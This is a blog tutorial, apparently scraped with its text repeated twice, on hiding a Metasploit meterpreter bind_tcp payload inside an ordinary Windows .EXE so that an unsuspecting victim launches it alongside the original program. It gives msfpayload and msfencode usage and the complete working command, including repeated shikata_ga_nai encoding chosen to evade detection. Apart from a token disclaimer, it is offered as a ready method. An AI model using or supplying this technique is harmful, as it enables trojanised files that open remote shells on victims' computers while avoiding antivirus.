Backdooring with EXEs
In this tutorial we'll learn how to insert our own (malicious) code, in this case a Metasploit payload into an existing .EXE file. When an unsuspecting victim runs the file, the original executable will run as normal, but our hidden payload will also deploy. Sneaky.
To avoid feeding the skiddies, I forbid you from reading this if you have no interest whatsoever in how it works. If you can appreciate how it works, do read on .
We begin by selecting our .EXE. It can be any executable, but I should note here that these instructions are, unusually for me, Windows-specific. You can still backdoor the EXE on any system, but it can only be run on Windows.
I'll be backdooring the file foo.exe
The Metasploit commands we're interested in are msfpayload and msfencode.
msfpayload
Usage:
Where <payload> is any of the 200 or so Metasploit payloads
msfencode
Usage:
The msfpayload function simply grabs the binary data of the payload so we can embed it in our exploit. To do this, we use the format;
Where R stands for raw, ie. the raw data of the binary
Select your payload, it can be anything you like. I'll be usingwindows/meterpreter/bind_tcp
You can get a list of all installed payloads by simply running msfpayload -h
Our command thus far is;
To do this, we use the pipe operator | to 'pipe' the data to another function, the msfencodefunction.
-t - The format to output (we'll use exe)
-x - The template executable
-k - The -k flag allows the original executable to remain
-o - The output file
-e - The encoder to use when encoding the payload into the executable
-c - The number of times to encode the payload
A lot right? Follow carefully as we assemble to command
We'll output in executable format, so we set the -t flag to exe.
Set the -x flag to be your executable to duplicate and hide the payload inside
Set the -k flag so that the original executable still runs.
Set the -o flag to whatever you want the new executable to be called.
The -e flag specifies the encoder to use to encode (hide) the data. Metasploit comes with many installed, of which the best is x86/shikata_ga_nai . It makes it extremely unlikely that the payload will be detected. (To view a list of encoders, run show encoders within Metasploit)
Set the -c flag to a number depending on how well you want the payload hidden. I recommend around 5.
Done? The final command should look something like this;
Voila! One backdoored executable! You can play around with different payloads and settings to see what works.
Regards,
Hardeep Singh
(www.fb.com/h4rdeep)
In this tutorial we'll learn how to insert our own (malicious) code, in this case a Metasploit payload into an existing .EXE file. When an unsuspecting victim runs the file, the original executable will run as normal, but our hidden payload will also deploy. Sneaky.
To avoid feeding the skiddies, I forbid you from reading this if you have no interest whatsoever in how it works. If you can appreciate how it works, do read on .
We begin by selecting our .EXE. It can be any executable, but I should note here that these instructions are, unusually for me, Windows-specific. You can still backdoor the EXE on any system, but it can only be run on Windows.
I'll be backdooring the file foo.exe
The Metasploit commands we're interested in are msfpayload and msfencode.
msfpayload
Usage:
/usr/local/bin/msfpayload <payload> [var=val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[D]ll|[V]BA|[W]ar>
Where <payload> is any of the 200 or so Metasploit payloads
msfencode
Usage:
msfencode <options> OPTIONS: -a <opt>The architecture to encode as -b <opt> The list of characters to avoid: '\x00\xff' -c <opt> The number of times to encode the data -d <opt> Specify the directory in which to look for EXE templates -e <opt> The encoder to use -h Help banner -i <opt> Encode the contents of the supplied file path -k Keep template working; run payload in new thread (use with -x) -l List available encoders -m <opt> Specifies an additional module search path -n Dump encoder information -o <opt> The output file -p <opt> The platform to encode for -s <opt> The maximum size of the encoded data -t <opt> The output format: raw,ruby,rb,perl,pl,c,js_be,js_le,java,dll,exe,exe-small,elf,macho,vba,vbs,loop-vbs,asp,war -v Increase verbosity -x <opt> Specify an alternate executable template
The msfpayload function simply grabs the binary data of the payload so we can embed it in our exploit. To do this, we use the format;
msfpayload <payload> R <options>
Where R stands for raw, ie. the raw data of the binary
Select your payload, it can be anything you like. I'll be usingwindows/meterpreter/bind_tcp
You can get a list of all installed payloads by simply running msfpayload -h
Our command thus far is;
msfpayload windows/meterpreter/bind_tcp RBut we need to set some options for this payload, so we do;
msfpayload windows/meterpreter/bind_tcp LPORT=4444 RTry running that and see what you get. It should look like garbage, but this is the raw binary of the payload. We need a way to encode this into our EXE.
To do this, we use the pipe operator | to 'pipe' the data to another function, the msfencodefunction.
msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencodeBut the msfencode function needs some options to tell it what to do. The one's we're going to use are;
-t - The format to output (we'll use exe)
-x - The template executable
-k - The -k flag allows the original executable to remain
-o - The output file
-e - The encoder to use when encoding the payload into the executable
-c - The number of times to encode the payload
A lot right? Follow carefully as we assemble to command
We'll output in executable format, so we set the -t flag to exe.
Set the -x flag to be your executable to duplicate and hide the payload inside
Set the -k flag so that the original executable still runs.
Set the -o flag to whatever you want the new executable to be called.
The -e flag specifies the encoder to use to encode (hide) the data. Metasploit comes with many installed, of which the best is x86/shikata_ga_nai . It makes it extremely unlikely that the payload will be detected. (To view a list of encoders, run show encoders within Metasploit)
Set the -c flag to a number depending on how well you want the payload hidden. I recommend around 5.
Done? The final command should look something like this;
msfpayload windows/meterpreter/bind_tcp LPORT=4444 R | msfencode -t exe -x foo.exe -k -o foo_backdoor.exe -e x86/shikata_ga_nai -c 5Run this command from a command line and wait till it completes.
Voila! One backdoored executable! You can play around with different payloads and settings to see what works.
Regards,
Hardeep Singh
(www.fb.com/h4rdeep)
Post a Comment Blogger Facebook